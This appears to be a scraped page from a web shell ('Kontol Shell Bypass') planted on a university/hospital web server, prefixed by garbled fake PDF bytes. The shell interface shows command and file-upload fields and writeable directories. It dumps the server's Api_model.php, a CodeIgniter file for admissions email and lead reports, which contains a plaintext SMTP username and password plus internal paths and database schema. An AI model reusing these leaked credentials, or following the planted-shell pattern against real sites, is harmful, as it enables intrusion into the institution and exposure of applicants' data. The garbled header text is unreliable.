%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/models/Api_model.php
<?php 
class Api_model extends CI_Model {
    function __construct() {
    }

	function send_email($to, $subject, $message, $attachments=array(), $smtp=TRUE, $smtpdtl=array(), $replyto=''){
        if(ENVIRONMENT=='development'){
            //return TRUE;
        }
    
        if(is_array($to) && isset($to['to'])){
            $cc=$to['cc'];
            $to=$to['to'];
        }
    
        if(!$smtpdtl){
            $smtpdtl=[
                'host'=>'smtp.sendgrid.net', 
                'user'=> 'apikey',
                'pass'=> SEND_GRID_KEY,
                'port'=>'587',
            ];
            /* $smtpdtl=[
                'host'=>'smtp.pepipost.com', 
                'user'=>'shardapepi',
                'pass'=>'SUsocial@2019',
                'port'=>'587',
            ]; */
        }
        
        $fromname="Sharda University";
        if($smtpdtl['host']=='smtp.sendgrid.net'){
            $fromemail="admissions@sharda.ac.in";
        }else{
            $fromemail="info@shardauniversity.com";
        }
        
        $this->load->library('email');
        $this->email->clear();
        
        $config['charset'] = 'utf-8';
        $config['wordwrap'] = TRUE;
        $config['mailtype'] = 'html';
        
        if($smtp){
            $config['protocol']   = "smtp";
            $config['smtp_host']  = $smtpdtl['host'];
            $config['smtp_user']  = $smtpdtl['user'];
            $config['smtp_pass']  = $smtpdtl['pass'];
            $config['smtp_port']  = $smtpdtl['port'];
            $config['_auth_smtp'] = TRUE;
            $config['newline']    = "\r\n";
            $config['crlf']       = "\r\n";
        }
        
        $this->email->initialize($config);
    
        $this->email->from($fromemail, $fromname);
        $this->email->to($to);
        if($cc){
            $this->email->cc($cc);
        }
    
        if(!$replyto){
            $replyto='noreply@sharda.ac.in';
        }
        $this->email->reply_to($replyto, $fromname);
        
        $this->email->subject($subject);
        $this->email->message($message);
        
        if($attachments and is_array($attachments)){
            foreach($attachments as $f){
                $this->email->attach($f);
            }
        }
    
        $res=$this->email->send();
        return $this->email->print_debugger();
    }

    /** Others */
    function daily_alert(){
        $res=[];
        $olddb=$this->load->database("prevdb", true);
        //$utm_sources=key_val_array($this->db->select("id, title")->get("master_utm_sources")->result_array(), "id", "title");
        $cy_yday=date('Y-m-d 23:59:59', strtotime("-1 days"));
        $py_yday=(date('Y')-1).date('-m-d 23:59:59', strtotime($cy_yday));

        $cy=date('Y', strtotime($cy_yday));
        $py=date('Y', strtotime($py_yday));

        $cond=['A.created >='=>'2023-12-01', 'A.created <='=>'2024-12-31']; //'U.is_medical'=>0, 'U.is_phd'=>0, 

        $res['cy_till_yes_all']=(int)$this->db->select("COUNT(1) n")->from("applicants U")->join("applications A", "U.id=A.applicant_id")->where($cond)->where(['A.created <='=>$cy_yday])->get()->row()->n;
        $res['cy_till_yes_paid']=(int)$this->db->select("COUNT(1) n")->from("applicants U")->join("applications A", "U.id=A.applicant_id")->where($cond)->where(['A.payment_date <='=>$cy_yday, 'A.payment_status'=>1])->get()->row()->n;
        $res['cy_yes_all']=(int)$this->db->select("COUNT(1) n")->from("applicants U")->join("applications A", "U.id=A.applicant_id")->where($cond)->where(['DATE(A.created)'=>get_date($cy_yday, '', 'Y-m-d')])->get()->row()->n;
        $res['cy_yes_paid']=(int)$this->db->select("COUNT(1) n")->from("applicants U")->join("applications A", "U.id=A.applicant_id")->where($cond)->where(['DATE(A.payment_date)'=>get_date($cy_yday, '', 'Y-m-d'), 'A.payment_status'=>1])->get()->row()->n;
        
        unset($cond['A.created >='], $cond['A.created <=']);
        $cond['A.created >=']='2022-12-01';
        $res['py_till_yes_all']=(int)$olddb->select("COUNT(1) n")->from("applicants U")->join("applications A", "U.id=A.applicant_id")->where($cond)->where(['A.created <='=>$py_yday])->get()->row()->n;
        $res['py_till_yes_paid']=(int)$olddb->select("COUNT(1) n")->from("applicants U")->join("applications A", "U.id=A.applicant_id")->where($cond)->where(['A.payment_date <='=>$py_yday, 'A.payment_status'=>1])->get()->row()->n;
        $res['py_yes_all']=(int)$olddb->select("COUNT(1) n")->from("applicants U")->join("applications A", "U.id=A.applicant_id")->where($cond)->where(['DATE(A.created)'=>get_date($py_yday, '', 'Y-m-d')])->get()->row()->n;
        $res['py_yes_paid']=(int)$olddb->select("COUNT(1) n")->from("applicants U")->join("applications A", "U.id=A.applicant_id")->where($cond)->where(['DATE(A.payment_date)'=>get_date($py_yday, '', 'Y-m-d'), 'A.payment_status'=>1])->get()->row()->n;
        
        $res['grp_cy']=$this->paid_all_grp($this->db, $cy_yday);
        $res['grp_py']=$this->paid_all_grp($olddb, $py_yday, true);

        $sources=[];
        foreach($res['grp_cy']['ty_all'] as $k=>$v){$sources[]=$k;}
        foreach($res['grp_cy']['ty_paid'] as $k=>$v){$sources[]=$k;}
        foreach($res['grp_cy']['y_all'] as $k=>$v){$sources[]=$k;}
        foreach($res['grp_cy']['y_paid'] as $k=>$v){$sources[]=$k;}

        foreach($res['grp_py']['ty_all'] as $k=>$v){$sources[]=$k;}
        foreach($res['grp_py']['ty_paid'] as $k=>$v){$sources[]=$k;}
        foreach($res['grp_py']['y_all'] as $k=>$v){$sources[]=$k;}
        foreach($res['grp_py']['y_paid'] as $k=>$v){$sources[]=$k;}

        $res['sources']=array_unique($sources);
        sort($res['sources']);

        $res['cy']=$cy;
        $res['py']=$py;

        /* pr($res);
        pr($cy_yday);
        pr($py_yday);

        die; */
        return $res;
    }

    function paid_all_grp($db, $yday, $isPrev=false){
        $res=[];
        //$cond=['U.is_medical'=>0, 'U.is_phd'=>0];
        $cond=['A.id>'=>0];
        if($isPrev){
            $cond['A.created >=']='2022-12-01';
        }else{
            $cond['A.created >=']='2023-12-01';
        }
        $rs=$db->select("US.report_grp grp, COUNT(1) n")
                                ->from("applicants U")
                                ->join("applications A", "U.id=A.applicant_id")
                                ->join("master_utm_sources US", "US.id=U.utm_source_id")
                                ->where($cond)->where(['A.created <='=>$yday])
                                //->group_by("US.grp")
                                ->group_by("US.report_grp")
                                ->get()->result_array();
        $res['ty_all']=key_val_array($rs, 'grp', 'n');

        $rs=$db->select("US.report_grp grp, COUNT(1) n")
                ->from("applicants U")
                ->join("applications A", "U.id=A.applicant_id")
                ->join("master_utm_sources US", "US.id=U.utm_source_id")
                ->where($cond)->where(['A.payment_date <='=>$yday, 'A.payment_status'=>1]) //'A.payment_date <='=>$yday
                //->group_by("US.grp")
                ->group_by("US.report_grp")
                ->get()->result_array();
        $res['ty_paid']=key_val_array($rs, 'grp', 'n');

        $rs=$db->select("US.report_grp grp, COUNT(1) n")
                ->from("applicants U")
                ->join("applications A", "U.id=A.applicant_id")
                ->join("master_utm_sources US", "US.id=U.utm_source_id")
                ->where($cond)->where(['DATE(A.created)'=>get_date($yday, '', 'Y-m-d')])
                //->group_by("US.grp")
                ->group_by("US.report_grp")
                ->get()->result_array();
        $res['y_all']=key_val_array($rs, 'grp', 'n');

        $rs=$db->select("US.report_grp grp, COUNT(1) n")
                ->from("applicants U")
                ->join("applications A", "U.id=A.applicant_id")
                ->join("master_utm_sources US", "US.id=U.utm_source_id")
                ->where($cond)->where(['DATE(A.payment_date)'=>get_date($yday, '', 'Y-m-d'), 'A.payment_status'=>1])
                //->group_by("US.grp")
                ->group_by("US.report_grp")
                ->get()->result_array();
        $res['y_paid']=key_val_array($rs, 'grp', 'n');

        return $res;
    }

    /** */
    function syncleads($from, $to){
        $in=$this->load->database("in", true);

        $f="CONCAT('Step ', a.step_completed) Lead_Status, a.updated lastupdatedon, u.mob Mobile"; //u.name Name, u.email Email
        $rs=$this->db->select($f)->from("applicants u")->join("applications a", "a.applicant_id=u.id")->where(['a.updated>='=>$from, 'a.updated<='=>$to])->get()->result_array();
        $rs1=$in->select($f)->from("applicants u")->join("applications a", "a.applicant_id=u.id")->where(['a.updated>='=>$from, 'a.updated<='=>$to])->get()->result_array();

        if(!$rs){
            $rs=[];
        }
        if(!$rs1){
            $rs1=[];
        }
        $res['main']=array_merge($rs, $rs1);

        usort($res['main'], function($a, $b){
            return strtotime($a['lastupdatedon'])-strtotime($b['lastupdatedon']);
        });

        return $res;
    }

    function syncleadfrommob($mob){
        $f="CONCAT('Step ', a.step_completed) Lead_Status, a.updated lastupdatedon, u.mob Mobile"; //u.name Name, u.email Email
        $rs=$this->db->select($f)->from("applicants u")->join("applications a", "a.applicant_id=u.id")->where(['u.mob'=>$mob])->get()->row_array();
        if(!$rs){
            $in=$this->load->database("in", true);
            $rs=$in->select($f)->from("applicants u")->join("applications a", "a.applicant_id=u.id")->where(['u.mob'=>$mob])->get()->row_array();
        }
        if(!$rs){
            $rs=[];
        }
        return $rs;
    }

    /** */
    function callCenterReport(){
        $users=$this->db->select("u.id, u.name, u.type")
        ->from("users u")
        ->where_in("u.type", ['CAMPUS', 'RO'])
        ->where("u.status", 1)
        ->order_by("u.type")
        ->order_by("u.name")
        ->get()
        ->result_array();
        foreach($users as &$ru){
            $ru['dsDtl']=$this->dataset->detail(0, $ru['id']);
        }
        array_unshift($users, ['id'=>0, 'name'=>'ALL', 'type'=>'', 'dsDtl'=>[]]);
        
        $smmOnlyUtms=$this->db->select("id")->get_where("master_utm_sources", ['grp'=>'SMM Campaigns'])->result_array();
        $smmOnlyUtmsIds=[];
        foreach($smmOnlyUtms as $utm){
            $smmOnlyUtmsIds[]=$utm['id'];
        }

        $todayDtFrom=date('Y-m-d');
        $todayDtTo=date('Y-m-d 23:59:59');

        $monthDtFrom=date('Y-m-01');
        $monthDtTo=date('Y-m-t 23:59:59');

        $periods=[
            ['name'=>'Till Date', 'fromDate'=>'', 'toDate'=>''],
            ['name'=>'Today', 'fromDate'=>$todayDtFrom, 'toDate'=>$todayDtTo],
            ['name'=>'This Month', 'fromDate'=>$monthDtFrom, 'toDate'=>$monthDtTo],
        ];

        $cf="COUNT(1) total, 
            COUNT(IF(A.step_completed=3, 1, NULL)) paid,
            COUNT(IF(PSS.status='ADM_OFFERED' OR PSS.status='ADM_FINAL', 1, NULL)) adm_offered, 
            COUNT(IF(PSS.status='ADM_WITHDRAW', 1, NULL)) adm_withdraw, 
            COUNT(IF(PSS.status='ADM_FINAL', 1, NULL)) adm_final,
            COUNT(PSS_PAID.EMPLID) adm_confirmed,
            COUNT(IF(A.followup_count_all>0, 1, NULL)) followup_leads_count,
            COUNT(IF(A.last_followup_id='0' AND A.step_completed!=3, 1, NULL)) untouched_count_nonpaid,
            COUNT(IF(A.last_followup_id='0' AND A.step_completed=3, 1, NULL)) untouched_count_paid,

            COUNT(IF(AR.remarks_id='79', 1, NULL)) interested_count,
            COUNT(IF(AR.remarks_id='60', 1, NULL)) call_not_connected_count,
            COUNT(IF(AR.remarks_id='91', 1, NULL)) not_contactable_count,
            ";

        foreach($users as &$u){
            $u['user']=$u['name'].($u['type']?' ('.$u['type'].')':'');

            foreach($periods as $i=>$p){
                if($u['dsDtl']){
                    $this->common->set_data_set_cond($u['dsDtl'], 0, 0);
                }

                if($p['fromDate']){
                    $this->db->where("A.created>=", $p['fromDate']);
                }
                if($p['toDate']){
                    $this->db->where("A.created<=", $p['toDate']);
                }

                $record=$this->db->select($cf)
                ->from("applications A")
                ->join("applicants U", "A.applicant_id=U.id")
                ->join("applications_remarks AR", "AR.id=A.last_followup_id", "LEFT")
                ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
                ->join("ps_paid_system_ids PSS_PAID", "PSS_PAID.EMPLID=A.application_no", "LEFT")
                ->get()
                ->row_array();

                $periods[$i]['data']=$record;
            }
            $u['data']=$periods;

            foreach($periods as $i=>$p){
                if($u['dsDtl']){
                    $this->common->set_data_set_cond($u['dsDtl'], 0, 0);
                }

                if($p['fromDate']){
                    $this->db->where("A.created>=", $p['fromDate']);
                }
                if($p['toDate']){
                    $this->db->where("A.created<=", $p['toDate']);
                }
                $this->db->where_in("U.utm_source_id", $smmOnlyUtmsIds?$smmOnlyUtmsIds:['-1']);

                $record=$this->db->select($cf)
                ->from("applications A")
                ->join("applicants U", "A.applicant_id=U.id")
                ->join("applications_remarks AR", "AR.id=A.last_followup_id", "LEFT")
                ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
                ->join("ps_paid_system_ids PSS_PAID", "PSS_PAID.EMPLID=A.application_no", "LEFT")
                ->get()
                ->row_array();

                $periods[$i]['data']=$record;
            }
            $u['smmData']=$periods;
        }

        return ['users'=>$users];
    }
}

//End of file

Kontol Shell Bypass